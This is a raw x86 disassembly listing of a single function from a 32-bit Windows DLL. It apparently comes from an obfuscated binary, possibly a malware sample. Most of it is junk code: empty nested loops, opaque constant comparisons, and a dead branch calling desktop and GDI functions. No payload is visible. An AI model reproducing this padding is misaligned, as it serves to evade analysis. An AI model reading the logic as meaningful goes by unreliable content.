call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
and dword [ebp - 0x128], 0
jmp 0x10028660
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0x38d3
jge 0x100286f2
and dword [ebp - 0x118], 0
jmp 0x10028686
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x5a7
jge 0x100286ed
and dword [ebp - 0x120], 0
jmp 0x100286a8
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x5af8
jge 0x100286eb
mov eax, dword [ebp - 0x118]
add eax, dword [ebp - 0x120]
and eax, dword [ebp - 0x128]
cdq
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3c4], edx
push dword [ebp - 0x3c4]
push dword [ebp - 0x3c8]
mov ecx, 0x1007f278
call fcn.1000b2a8
jmp 0x1002869b
jmp 0x10028679
jmp 0x10028653
push 0x100804f0
lea ecx, [ebp - 0x4d8]
call fcn.1002ac80
mov byte [ebp - 4], 0x21
cmp dword [ebp - 0x25c], 0x1e5
jge 0x10028722
mov edx, dword [ebp - 0x444]
mov ecx, 0x1007f278
call fcn.1000ee32
jmp 0x1002873e
mov dword [ebp - 4], 0x20
jmp 0x1002874e
lea eax, [ebp - 0x4ac]
push eax
lea ecx, [ebp - 0x4d8]
call fcn.1002aca5
push dword [eax]
lea eax, [ebp - 0x494]
push eax
lea ecx, [ebp - 0x4d8]
call fcn.1002ac91
push dword [eax]
lea ecx, [ebp - 0x508]
call fcn.1002bfbe
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x508]
push eax
call fcn.1001a3d6
pop ecx
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0
je 0x10028815
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x4f0]
call fcn.1002ac47
mov byte [ebp - 4], 0x24
lea edx, [ebp - 0x3e8]
lea ecx, [ebp - 0x4f0]
call fcn.10017798
movzx eax, al
test eax, eax
je 0x100287e8
push 0
push dword [ebp - 0x3e8]
push 0
push dword [ebp - 0x190]
call fcn.10025f97
add esp, 0x10
mov dword [ebp - 0x3c], eax
jmp 0x10028804
push 1
push 0
lea eax, [ebp - 0x4f0]
push eax
push dword [ebp - 0x190]
call fcn.10025f97
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x4f0]
call fcn.1002ac76
jmp 0x10028848
cmp dword [ebp + 0x10], 0
jne 0x1002882b
mov ecx, dword [ebp + 0xc]
call fcn.1000163c
mov dword [ebp - 0x264], eax
jmp 0x10028835
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x264], eax
push dword [ebp - 0x264]
push dword [ebp + 8]
call fcn.100205c3
pop ecx
pop ecx
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x508]
call fcn.1000b41d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4d8]
call fcn.1002ac76
mov eax, dword [ebp - 0x3c]
jmp 0x10028bb1
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x130], 0
jmp 0x1002888e
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 2
jge 0x100288aa
mov eax, dword [ebp - 0x130]
mov dword [ebp + eax*4 - 0x47c], 0x49cff29c
jmp 0x10028881
mov dword [ebp - 0x2c], 0
jmp 0x100288ba
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffe9
jg 0x10028b83
push 3
lea ecx, [ebp - 0x1c0]
call fcn.10001647
mov dword [ebp - 4], 0x25
mov dword [ebp - 0x7c], 0x63eeda78
mov dword [ebp - 0x138], 0
jmp 0x100288f8
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 3
jge 0x1002891a
push dword [ebp - 0x138]
lea ecx, [ebp - 0x1c0]
call fcn.100016c0
mov dword [eax], 0xe5741311
jmp 0x100288eb
or eax, 0xffffffff
je 0x10028997
push 5
pop eax
test eax, eax
je 0x10028950
push 1
lea ecx, [ebp - 0x1c0]
call fcn.100016c0
mov dword [ebp - 0x26c], eax
push 1
lea ecx, [ebp - 0x1c0]
call fcn.100016c0
mov ecx, dword [ebp - 0x26c]
mov eax, dword [eax]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1c0]
call fcn.100016c0
cmp dword [eax], 0
je 0x10028977
mov eax, 0x4af7
test eax, eax
je 0x10028977
mov dword [ebp - 0x274], 1
jmp 0x1002897e
and dword [ebp - 0x274], 0
mov eax, dword [ebp - 0x274]
add eax, 0xffff
je 0x10028997
mov dword [ebp - 0x27c], 1
jmp 0x1002899e
and dword [ebp - 0x27c], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x27c], eax
jg 0x100289b5
mov dword [ebp - 0x284], 1
jmp 0x100289bc
and dword [ebp - 0x284], 0
cmp dword [ebp - 0x284], 0x3590
je 0x100289d4
mov dword [ebp - 0x28c], 1
jmp 0x100289db
and dword [ebp - 0x28c], 0
mov eax, dword [ebp - 0x28c]
sub eax, dword [ebp - 0x2c]
cmp eax, 0xfffffffe
je 0x100289f5
mov dword [ebp - 0x294], 1
jmp 0x100289fc
and dword [ebp - 0x294], 0
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x294]
imul eax, eax, 0
cmp eax, dword [ebp - 0x2c]
jg 0x10028a19
mov dword [ebp - 0x29c], 1
jmp 0x10028a20
and dword [ebp - 0x29c], 0
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x29c]
cmp eax, dword [ebp - 0x2c]
jle 0x10028a3b
mov dword [ebp - 0x2a4], 1
jmp 0x10028a42
and dword [ebp - 0x2a4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x47c]
cmp dword [ebp - 0x2a4], eax
je 0x10028a63
mov dword [ebp - 0x2ac], 1
jmp 0x10028a6a
and dword [ebp - 0x2ac], 0
cmp dword [ebp - 0x2ac], 0
jne 0x10028aa0
push 2
lea ecx, [ebp - 0x1c0]
call fcn.100016c0
cmp dword [eax], 0
jne 0x10028aa0
push 0
lea ecx, [ebp - 0x1c0]
call fcn.100016c0
cmp dword [eax], 0
jne 0x10028aa0
and dword [ebp - 0x2b4], 0
jmp 0x10028aaa
mov dword [ebp - 0x2b4], 1
cmp dword [ebp - 0x2b4], 0xe2bbef7d
jb 0x10028ac2
mov dword [ebp - 0x2bc], 1
jmp 0x10028ac9
and dword [ebp - 0x2bc], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x2bc], eax
jge 0x10028ae0
mov dword [ebp - 0x2c4], 1
jmp 0x10028ae7
and dword [ebp - 0x2c4], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x2c4], eax
je 0x10028afe
mov dword [ebp - 0x2cc], 1
jmp 0x10028b05
and dword [ebp - 0x2cc], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x7c]
imul ecx, dword [ebp - 0x2cc]
cmp ecx, dword [ebp + eax - 0x47c]
jl 0x10028b2a
mov dword [ebp - 0x2d4], 1
jmp 0x10028b31
and dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x7c], eax
push 0
lea ecx, [ebp - 0x1c0]
call fcn.100016c0
mov dword [ebp - 0x2dc], eax
push 1
lea ecx, [ebp - 0x1c0]
call fcn.100016c0
mov ecx, dword [ebp - 0x2dc]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2dc]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c0]
call fcn.100016a4
jmp 0x100288b3
mov byte [ebp - 0x56], 0
movzx eax, byte [ebp - 0x56]
test eax, eax
je 0x10028baf
push 0
push 0x83f
push 0x26f5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret